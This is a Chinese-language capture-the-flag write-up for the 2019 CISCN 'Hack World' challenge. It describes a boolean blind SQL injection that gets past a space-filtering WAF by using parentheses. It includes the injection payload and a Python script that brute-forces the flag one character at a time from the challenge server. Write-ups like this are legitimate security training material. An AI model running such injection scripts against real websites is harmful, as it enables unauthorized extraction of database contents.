> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-ciscn/hua-bei-sai-qu-hack-world.md).

# \[华北赛区]Hack World

传入id，有两种返回结果，1以及2。很容易的推测到可能是布尔盲注。

fuzz之后发现WAF了空格（BUUFCTF的容器通常是顶不住fuzz的）。使用括号可以绕过。

这里直接用了通杀语句`if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)`。

exp

```python
import requests

string = "Hello, glzjin wants a girlfriend."
url = "http://c51bbb75-0b7f-4f51-8343-a1e164f75d10.node3.buuoj.cn/index.php"
flag = ""

for i in range(50):
    for j in range(127):
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
        data = {'id': payload}
        files = []
        headers = {}
        response = requests.request("POST", url, headers=headers, data=data, files=files)
        print(j)
 #为了防止因网络原因而导致爆破中断丢失数据
        if response.text.find(string) != -1:
            flag += chr(j)
            print(flag)
            break
```


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